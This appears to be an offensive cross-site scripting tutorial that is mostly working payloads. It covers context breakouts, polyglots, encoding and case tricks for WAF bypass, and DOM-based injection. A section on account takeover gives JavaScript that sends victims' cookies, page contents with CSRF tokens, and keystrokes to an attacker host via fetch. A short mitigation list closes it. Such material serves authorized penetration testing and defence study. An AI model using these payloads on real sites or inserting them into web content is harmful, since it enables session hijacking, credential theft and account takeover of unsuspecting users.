Most write-ups stop at alert(1).
That's not exploitation — that's signal.
Real-world XSS is about:
- Context-aware payload crafting
- Filter/WAF bypassing
- Execution reliability
- Attack chaining → account takeover
This guide focuses on how to think and build payloads, not just copy them.
Step 1 — Identify the Execution Context
Before crafting payloads, determine where your input lands:
1. HTML Context
<div>USER_INPUT</div>2. Attribute Context
<input value="USER_INPUT">3. JavaScript Context
var data = "USER_INPUT";4. DOM-Based (client-side sinks)
element.innerHTML = location.hash;Your payload depends entirely on this.
⚙️ Step 2 — Payload Crafting Fundamentals
Breaking Out of Contexts
HTML:
<script>alert(1)</script>Attribute:
" onmouseover=alert(1) x="JavaScript:
";alert(1);//Goal: escape → inject → execute
Step 3 — Advanced Payload Techniques
1. Polyglot Payloads (multi-context execution)
"><svg/onload=alert(1)>Works in:
- HTML
- Attribute
- Some JS contexts
2. Event Handler Abuse (stealth execution)
<img src=x onerror=alert(1)>Advanced:
<svg><animate onbegin=alert(1) attributeName=x></svg>3. JavaScript Constructors (bypass filters)
[]["constructor"]["constructor"]("alert(1)")()Useful when:
- alert blocked
- <script> filtered
4. No-Parenthesis Execution
onerror=alert;throw 1Bypasses filters blocking ().
5. Encoded Payloads (WAF bypass)
URL Encoding:
%3Cscript%3Ealert(1)%3C/script%3EDouble Encoding:
%253Cscript%253Ealert(1)%253C/script%253EUnicode:
<script>alert`\u0031`</script>6. Case & Tag Obfuscation
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>Step 4 — DOM-Based XSS (Where Real Bugs Hide)
Common Sources:
location.href
location.hash
document.cookieDangerous Sinks:
innerHTML
document.write
eval()Example:
element.innerHTML = location.hash;Exploit:
#<img src=x onerror=alert(1)>Executes without server interaction.
Step 5 — WAF & Filter Bypass Strategy
Strategy mindset:
- Break signatures
- Avoid keywords
- Use browser parsing quirks
Example bypass:
Blocked:
<script>alert(1)</script>Bypass:
<svg/onload=alert(1)>Blocked:
alert(1)Bypass:
confirm(1)
prompt(1)
Blocked <script>:
<iframe src=javascript:alert(1)>Step 6 — From XSS to Account Takeover
Cookie Exfiltration
fetch("https://attacker.com/steal?c="+document.cookie)Session Hijacking Flow
- Inject payload
- Victim loads page
- Cookie sent to attacker
- Replay session
CSRF Token Theft
fetch('/profile')
.then(r=>r.text())
.then(d=>{
fetch('https://attacker.com/log?data='+btoa(d))
})Keylogging Payload (stealth)
document.onkeypress = e => {
fetch("https://attacker.com?k="+e.key)
}Step 7 — Attack Chaining (HIGH IMPACT)
Example:
Stored XSS
↓
Steal admin session
↓
Access admin panel
↓
Modify users / dump data
OR:
DOM XSS
↓
Extract API token
↓
Call privileged endpoints
↓
Privilege escalationReal Testing Workflow
- Identify input points
- Determine context
- Craft breakout payload
- Test encoded/obfuscated variants
- Confirm execution
- Build post-exploitation payload
- Chain with other vulnerabilities
Mitigation (Defensive View)
- Output encoding (context-aware)
- CSP (Content Security Policy)
- Avoid dangerous sinks (innerHTML)
- Use frameworks with auto-escaping
- Sanitize user input properly
Key Takeaways
- XSS is not about alert(1)
- Payloads must be context-aware
- Filters can always be bypassed with creativity
- Real impact = data exfiltration + account takeover